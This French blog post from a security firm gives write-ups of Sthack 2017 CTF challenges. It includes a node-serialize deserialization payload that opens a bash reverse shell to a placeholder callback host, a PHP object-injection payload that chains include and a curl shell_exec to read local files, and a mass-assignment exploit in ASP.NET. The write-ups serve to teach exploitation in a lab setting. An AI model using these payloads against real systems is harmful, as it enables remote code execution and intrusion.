Un incident de sécurité ? Faites-vous assister : 01 47 28 38 39

Comme l’année dernière, certains auditeurs Intrinsec se sont déplacés à Bordeaux le temps d’un week-end pour la conférence Sthack 2017 et le CTF qui s’en est suivi.

La première équipe a décroché la seconde place après avoir mené la compétition une bonne partie de la nuit. La seconde équipe a pris quant à elle la cinquième place.

Nous remercions les speakers de la conférence, les organisateurs et sponsors de cet événement que nous avons apprécié.

Avec un peu de retard, nous vous partageons les write-ups de quelques épreuves.

Dreambook

Il s’agit d’une application Web node.js, nous identifions le code source original dans un tutoriel sur Internet et après l’avoir testé nous remarquons une différence majeure avec l’épreuve : un cookie profile supplémentaire qui contient du JSON encodé en base64.

Nous pouvons déclencher une erreur en le modifiant pour un JSON invalide :

Cette erreur verbeuse divulgue le fait que le module node-serialize est utilisé pour parser le JSON. Le mot clé serialize attire forcément l’attention et on identifie rapidement sur Internet que ce module node.js est vulnérable de manière similaire au unserialize de PHP ou Pickle de Python. Contrairement à ces derniers, il est possible de sérialiser directement du code avec une syntaxe particulière, nous obtenons le payload suivant :

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP_SERVEUR_CALLBACK/80 0>&1\"')}()"}

Nous obtenons un reverse shell sur notre serveur, il ne reste plus qu’à extraire le flag :

Web Page Tester

Il s’agit d’une application Web PHP pour laquelle le code source nous était fourni. Assez rapidement on identifie des fonctions dangereuses intéressantes : include, unserialize, shell_exec.

Le unserialize dans index.php prend en entrée la valeur d’un cookie :

else if(isset($_COOKIE['datas'])){
$datas = unserialize(base64_decode($_COOKIE['datas']));
if(!is_array($datas)) die("Are you trying to hack me ???");
$login = $datas["login"];
$password = $datas["password"];
$user = New User($login,$password);

Il faut donc envoyer un cookie datas avec un tableau PHP sérialisé et encodé en base64. Le contenu de ce tableau est ensuite passé au constructeur de User qui stocke simplement le login et le password dans les attributs de l’objet.

Nous remarquons que dans la suite de index.php, que les identifiants soient corrects ou non, la méthode htmlentities sera appelée sur l’objet User :

if(isset($user)){
    if($user->login()){
        echo "<h4>Coucou ".htmlentities($user)."</h4>";
        echo New File("pages/curl.php");
    }
    else {
        echo htmlentities($user)." bad auth";

Ceci déclenchera la méthode __toString qui est surchargée pour retourner la valeur du login, si le login est un objet à son tour sa méthode __toString sera appelée.

C’est intéressant car dans la classe File nous avons la méthode __toString() qui appelle include sur l’attribut path qui est définissable par son constructeur :

class File{
	private $path;

	function __construct($path){
		$this->path = $path;
	}

	function __toString(){
		include($this->path);
		return "";
	}
}

Autre fichier d’intérêt : curl.php qu’il n’était pas possible d’appeler directement en raison d’un .htaccess mais qui est à notre portée via l’include :

$url = $_POST['url'] ?? null;

if($url) {
	$good_chars ="0123456789abcdefghijklmnopqrstuvwxyz.-/?=:";
	$blacklist = array('127.0.0.1','localhost',$GLOBALS["management_ip"]);
	if(!in_array($url,$blacklist)){
		$url_escaped = "";
		for($i=0;$i<strlen($url);$i++){
			if(strstr($good_chars,$url[$i])) $url_escaped .= $url[$i];
		}
		$rep = shell_exec("curl -s -m 4 -v -- '$url_escaped' 2>&1");
	}
	else die('Blacklisted');
}

Une liste noire évite l’injection triviale de commandes shell : nous ferons sans, ce qui nous intéresse c’est file:///flag/flag.txt (vu dans le fichier admin/admin.php).

Nous avons tous les éléments requis, voici comment préparer notre payload en PHP :

<?php
class File{
	private $path;
	function __construct($path){
		$this->path = $path;
	}
}
$user = Array(
	"login" => new File("pages/curl.php"),
	"password" => "toto"
);

$payload = base64_encode(serialize($user));
echo $payload;
?>

Et voici la requête que nous envoyons avec notre payload précédent :

Obtention du flag :

Attaque terroriste

L’épreuve nous explique l’histoire fictive d’un terroriste préparant une attaque et ayant laissé seulement le message suivant, tâche à nous de découvrir les coordonnées GPS de sa cible :

Soit on a la chance d’avoir un #avgeek dans son équipe, soit on cherche sur Internet quelques mots clés comme LFBI : code aérien de l’aéroport de Poitiers, et on comprend alors mieux le sens de “départ” et “croisière”.

Notre terroriste décolle donc de l’aéroport de Poitiers (LFBI) dans un avion F172 le 7 avril 2017 à 16h UTC.

Il a ensuite prévu un impact à 16h09 (donc pas très loin) sur une cible pointée par deux points VOR (système de positionnement radioélectrique). Il ne reste plus qu’à sortir la carte de croisière de l’espace inférieur fournie par le Service de l’Information Aéronautique français.

Nous identifions sur la carte les points VOR :

  • POI qui émet sur la fréquence 113.3 MHz, à partir duquel on trace une droite orientée d’un angle de 116° (avec 0° : Nord et 90° = Est). On peut tracer cet angle avec une rotation de calque sur Gimp ou avec un rapporteur collé sur la carte 🙂
  • LCA qui émet sur la fréquence 112.1 MHz, à partir duquel on trace une droite orientée d’un angle de 257°

On obtient le tracé suivant :

Une zone circulaire P2 est pointée, après plusieurs recherche on identifie l’arrêté du 3 mars 2010 portant création d’une zone interdite identifiée LF-P 2 au-dessus du site nucléaire de Civaux (Vienne).

On obtient des coordonnées GPS précises mais elles ne correspondent pas au flag, il fallait se rappeler l’objectif initial : trouver la cible du terroriste. Il devient évident qu’il s’agit de la centrale nucléaire dont les coordonnées sont sur Wikipédia : nous avons le flag !

IA Rating Game

Il s’agit d’une application Web en ASP.NET pour laquelle le code-source était fourni.

Le but est de voter pour les intelligences artificielles présentées et de donner une bonne note (5 étoiles) aux bonnes IA et une mauvaise note aux IA méchantes afin d’influencer la moyenne pour dépasser les 50%.

En auditant le code, le premier défaut identifié est la possibilité de voter zéro étoile pour les IA mauvaises alors que l’interface ne permet d’attribuer au pire qu’une étoile. Malheureusement les notes négatives ne sont pas acceptées, et même en attribuant cinq étoiles aux bonnes IA et zéro aux mauvaises on s’approche sans dépasser le seuil de 50%.

Il faut donc trouver une autre vulnérabilité.

L’application permet de voter une première fois, puis de mettre à jour son vote, mais n’autorise pas le double vote. Voici le code qui gère la méthode POST pour la création d’un vote :

[HttpPost]
//[Route("rate")]
public async Task Rate(Rate rate)
{
    if (ModelState.IsValid)
    {
        try
        {
            if (!(await _context.Rates.AnyAsync(r => r.AIID == rate.AIID && r.UserName == HttpContext.Session.Id)))
            {
                rate.UserName = HttpContext.Session.Id;
                _context.Add(rate);
                await _context.SaveChangesAsync();
                return Ok();
            }
            else
            {
                ModelState.AddModelError("", "You have already vote, try update your vote");
            }
        }

Nous remarquons que chaque IA a déjà des notes enregistrées, associées à d’autres utilisateurs avec UserName égal au SessionID. Or chaque instance de l’épreuve est associée à la session du joueur, donc il n’est pas possible de se créer une seconde session pour voter deux fois.

Voici le code qui gère la méthode PUT pour le changement d’un vote :

// https://docs.microsoft.com/en-us/aspnet/core/data/ef-mvc/crud#update-the-edit-page
[HttpPut]
//[Route("rate/{id}")]
public async Task Rate([FromRoute] int id, Rate rate)
{
    if (ModelState.IsValid)
    {
        try
        {
            var rateToUpdate = await _context.Rates.FirstOrDefaultAsync(r => r.ID == id && r.UserName == HttpContext.Session.Id);
            if (await TryUpdateModelAsync(rateToUpdate))
            {
                await _context.SaveChangesAsync();
                return Ok();
            }
        }

Quand nous éditons notre vote, nous observons que seul le paramètre RateValue est passé, or il s’agit d’un attribut de la classe Rate et la méthode précédente ne prend pas en paramètre RateValue mais bien un objet Rate : le framework se charge de créer automatiquement l’objet à partir du paramètre envoyé. Nous avons un cas de vulnérabilité dite de mass assignment : nous pouvons définir n’importe quel attribut de Rate en ajoutant un paramètre avec le bon nom. Nous manipulons les paramètres RateValue, ID (identifiant du vote), AIID (identifiant de l’IA) et UserName pour créer des votes provenant d’autres utilisateurs.

Au final on parvient à faire pencher la balance du côté du bien et nous sommes récompensés par le flag :

Piano

Cette épreuve consiste en un fichier vidéo de 5mn. Nous avons une partition et une feuille (sur laquelle un zoom est effectué au début de la vidéo) contenant des numéros, suivis de “piano” et “partition”.Assez rapidement nous observons que la bande son ne correspond pas à ce qui est joué, il s’agit en fait de plusieurs extraits de morceaux de Beethoven. Nous utilisons Shazam pour tous les identifier et voyons que leurs numéros d’opus correspondent à des codes ASCII décimaux valides et donc des lettres. Nous les remettons dans l’ordre indiqué sur la feuille et avons le début du flag, il ne manque plus que deux caractères.

L’indication “piano” correspond au morceau de Beethoven réellement joué et qu’on entend au début : il faut surtout regarder les accords et identifier l’absence de touches noires et donc la tonalité Do majeur puis rechercher les morceaux pour piano de Beethoven dans cette tonalité, avec un numéro d’opus cohérent (code ASCII) : sonate pour piano no 21 en do majeur, opus 53. Nous avons donc l’opus 53, soit le caractère ASCII ‘5’.

L’indication “partition” correspond au morceau de Beethoven dont la partition est présente sur le piano, il faut identifier à nouveau la tonalité Do majeur grâce à l’absence d’armure à la clé (toutefois cela aurait pu aussi indiquer un Do mineur) puis trouver que cela correspond à la même sonate (l’auteur jouait donc la partition) donc à nouveau le caractère ‘5’.

En combinant tout cela nous obtenons le flag. Merci à Estelle pour son expertise invitée sur cette épreuve !

 

— Clément Notin